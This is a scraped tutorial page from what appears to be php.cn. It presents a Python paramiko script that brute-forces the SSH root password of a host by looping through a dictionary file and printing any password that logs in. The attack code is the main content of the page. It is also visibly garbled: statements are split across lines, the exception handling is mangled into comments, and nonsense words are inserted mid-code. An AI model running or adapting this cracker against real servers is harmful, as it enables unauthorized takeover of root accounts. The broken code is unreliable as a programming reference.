Use python to brute force crack the root password example code

高洛峰
Release: 2017-03-22 10:42:31
Original
2757 people have browsed it

Environment preparation:

1. Installationparamiko module

2. Server ssh service opens port 22

##!/usr/bin/py

#-*- coding: utf-8 -*-

import paramiko

ssh = paramiko.SSHClient( ) #Instantiation class

ssh.

set_missing_host_key_policy(paramiko.AutoAddPolicy()) #The automatic answer when connecting is yes

d =

file('/root/a.txt') #Dictionary file path

for i in d.xreadlines():   #LoopPassword dictionary

i = i.strip() #Remove the spaces before and after

if not i: #Enter if the value is empty Next cycle

           

continue  

                                                                using using use using          through through ’ ’s ’ through ’ using ’s ‐ ‐‐‐‐‐‐‐‐ ssh.connect(hostname='localhost' , port=22, username='root', passw

ord

=i)

print 'The root password is',i #If the password is correct, print the password

## Break

#jump out of the loop Except:

# Continue#If the password is wrong :

print 'The root password was not cracked, please change the dictionary and try again' #If the password is not matched

The above is the detailed content of Use python to brute force crack the root password example code. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template